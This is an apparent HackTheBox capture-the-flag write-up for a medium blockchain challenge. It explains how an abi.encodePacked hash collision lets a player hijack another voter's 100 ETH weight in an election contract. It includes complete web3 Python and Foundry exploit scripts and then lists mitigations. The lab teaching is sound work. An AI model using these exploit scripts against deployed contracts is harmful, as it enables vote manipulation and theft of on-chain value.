← Back to Writeups
HTBMediumBlockchain

NotADemocraticElection

XESXOR9/10/20265 min read
#blockchain#htb#medium#abi_encodepacked_collision#voter_weight_hijacking

NotADemocraticElection

Platform: HackTheBox | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-29 | Status: Solved Techniques: abi_encodepacked_collision, voter_weight_hijacking

Summary

In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate

NotADemocraticElection - HackTheBox

Description

In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate world, democracy has taken a backseat, and power is conveyed by wealth. Will you be able to bring back some Democracy in this hopeless land?

Goal: Make CIM win the election (reach 1000e18 votes)

Analysis

Contract Overview

Two contracts are provided:

  1. Setup.sol - Deploys the election contract and deposits 100 ETH for voter "Satoshi Nakamoto"
  2. NotADemocraticElection.sol - Main voting contract with weighted voting based on ETH deposits

Key Data Structures

solidity
mapping(bytes3 _id => Party) public parties;           // Party info & vote count
mapping(bytes _sig => Voter) public voters;            // Voter weight by signature
mapping(string _name => mapping(string _surname => address _addr)) public uniqueVoters;

The Vulnerability: abi.encodePacked() Hash Collision

The critical vulnerability is in the getVoterSig() function:

solidity
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) {
    return abi.encodePacked(_name, _surname);
}

Problem: abi.encodePacked() with multiple dynamic types (strings, bytes) does NOT add length prefixes or delimiters. This causes hash collisions:

abi.encodePacked("Satoshi", "Nakamoto")  = "SatoshiNakamoto"
abi.encodePacked("SatoshiNaka", "moto")  = "SatoshiNakamoto"  // SAME!
abi.encodePacked("S", "atoshiNakamoto")  = "SatoshiNakamoto"  // SAME!

Exploitation Logic

  1. Setup deposits 100 ETH for "Satoshi" + "Nakamoto":

    • uniqueVoters["Satoshi"]["Nakamoto"] = Setup.address
    • voters["SatoshiNakamoto"].weight = 100e18
  2. We register with collision names (e.g., "S" + "atoshiNakamoto"):

    • uniqueVoters["S"]["atoshiNakamoto"] = our_address (NEW entry)
    • voters["SatoshiNakamoto"].weight += 0 (SAME voter signature!)
  3. When we vote, the contract:

    • Checks uniqueVoters["S"]["atoshiNakamoto"] == msg.sender - PASSES
    • Gets voters["SatoshiNakamoto"].weight = 100e18 (from original deposit!)
    • Adds 100e18 votes to our chosen party
  4. 10 collision registrations x 100 ETH weight = 1000e18 votes = WIN

Solution

Collision Strings

All these name/surname pairs produce the same voterSig = "SatoshiNakamoto":

python
collisions = [
    ("S", "atoshiNakamoto"),
    ("Sa", "toshiNakamoto"),
    ("Sat", "oshiNakamoto"),
    ("Sato", "shiNakamoto"),
    ("Satos", "hiNakamoto"),
    ("Satosh", "iNakamoto"),
    ("SatoshiN", "akamoto"),
    ("SatoshiNa", "kamoto"),
    ("SatoshiNak", "amoto"),
    ("SatoshiNaka", "moto"),
]

Exploit Script

python
#!/usr/bin/env python3
"""
NotADemocraticElection - abi.encodePacked collision exploit
Exploits hash collision to hijack 100 ETH voter weight
"""

from web3 import Web3

# Connection details from challenge
PRIVATE_KEY = "0xaea7d4cd5a32d1f905d5195b5bc1084667b1f76ffd1013fb737ee357a7fc8341"
MY_ADDRESS = "0x69d0057fdB88285cB5305F3BfE70AB44876c5899"
TARGET_CONTRACT = "0x99ef00677f8E1B01ca4f3E48824a703b51b14F07"
RPC_URL = "http://94.237.55.124:46131"

# Contract ABI (minimal)
ABI = [
    {
        "inputs": [
            {"name": "_name", "type": "string"},
            {"name": "_surname", "type": "string"}
        ],
        "name": "depositVoteCollateral",
        "outputs": [],
        "stateMutability": "payable",
        "type": "function"
    },
    {
        "inputs": [
            {"name": "_party", "type": "bytes3"},
            {"name": "_name", "type": "string"},
            {"name": "_surname", "type": "string"}
        ],
        "name": "vote",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "winner",
        "outputs": [{"name": "", "type": "bytes3"}],
        "stateMutability": "view",
        "type": "function"
    }
]

def main():
    w3 = Web3(Web3.HTTPProvider(RPC_URL))
    assert w3.is_connected(), "Failed to connect to RPC"
    
    account = w3.eth.account.from_key(PRIVATE_KEY)
    target = w3.eth.contract(address=TARGET_CONTRACT, abi=ABI)
    
    # All collision pairs for "SatoshiNakamoto"
    collisions = [
        ("S", "atoshiNakamoto"),
        ("Sa", "toshiNakamoto"),
        ("Sat", "oshiNakamoto"),
        ("Sato", "shiNakamoto"),
        ("Satos", "hiNakamoto"),
        ("Satosh", "iNakamoto"),
        ("SatoshiN", "akamoto"),
        ("SatoshiNa", "kamoto"),
        ("SatoshiNak", "amoto"),
        ("SatoshiNaka", "moto"),
    ]
    
    nonce = w3.eth.get_transaction_count(MY_ADDRESS)
    
    print("[*] Exploiting abi.encodePacked collision...")
    print(f"[*] Need 10 votes x 100 ETH = 1000e18 total votes")
    
    for i, (name, surname) in enumerate(collisions):
        print(f"[{i+1}/10] Registering: '{name}' + '{surname}'")
        
        # Step 1: Register with collision name (0 ETH deposit)
        tx = target.functions.depositVoteCollateral(name, surname).build_transaction({
            'from': MY_ADDRESS,
            'value': 0,  # No deposit needed - we use existing weight!
            'gas': 200000,
            'gasPrice': w3.eth.gas_price,
            'nonce': nonce,
            'chainId': w3.eth.chain_id
        })
        signed = account.sign_transaction(tx)
        tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
        w3.eth.wait_for_transaction_receipt(tx_hash)
        nonce += 1
        
        # Step 2: Vote for CIM using hijacked 100 ETH weight
        tx = target.functions.vote(b'CIM', name, surname).build_transaction({
            'from': MY_ADDRESS,
            'value': 0,
            'gas': 200000,
            'gasPrice': w3.eth.gas_price,
            'nonce': nonce,
            'chainId': w3.eth.chain_id
        })
        signed = account.sign_transaction(tx)
        tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
        w3.eth.wait_for_transaction_receipt(tx_hash)
        nonce += 1
        
        print(f"    Voted for CIM with 100 ETH weight!")
    
    # Check winner
    winner = target.functions.winner().call()
    print(f"\n[+] Winner: {winner}")
    
    if winner == b'CIM':
        print("[+] SUCCESS! CIM wins the election!")
    else:
        print("[-] Failed - CIM did not win")

if __name__ == "__main__":
    main()

Alternative: Foundry Script

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "forge-std/Script.sol";

interface IElection {
    function depositVoteCollateral(string memory _name, string memory _surname) external payable;
    function vote(bytes3 _party, string memory _name, string memory _surname) external;
    function winner() external view returns (bytes3);
}

contract Exploit is Script {
    function run() external {
        vm.startBroadcast();
        
        IElection target = IElection(0x99ef00677f8E1B01ca4f3E48824a703b51b14F07);
        
        // Collision pairs
        string[10] memory names = ["S", "Sa", "Sat", "Sato", "Satos", 
                                    "Satosh", "SatoshiN", "SatoshiNa", "SatoshiNak", "SatoshiNaka"];
        string[10] memory surnames = ["atoshiNakamoto", "toshiNakamoto", "oshiNakamoto", "shiNakamoto", "hiNakamoto",
                                       "iNakamoto", "akamoto", "kamoto", "amoto", "moto"];
        
        for (uint i = 0; i < 10; i++) {
            target.depositVoteCollateral(names[i], surnames[i]);
            target.vote(bytes3("CIM"), names[i], surnames[i]);
        }
        
        require(target.winner() == bytes3("CIM"), "CIM should win");
        
        vm.stopBroadcast();
    }
}

Mitigation

Option 1: Use abi.encode() instead

solidity
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) {
    return abi.encode(_name, _surname);  // Adds length prefixes!
}

Option 2: Add delimiter

solidity
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) {
    return abi.encodePacked(_name, "|", _surname);
}

Option 3: Use keccak256 with abi.encode

solidity
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes32) {
    return keccak256(abi.encode(_name, _surname));
}

References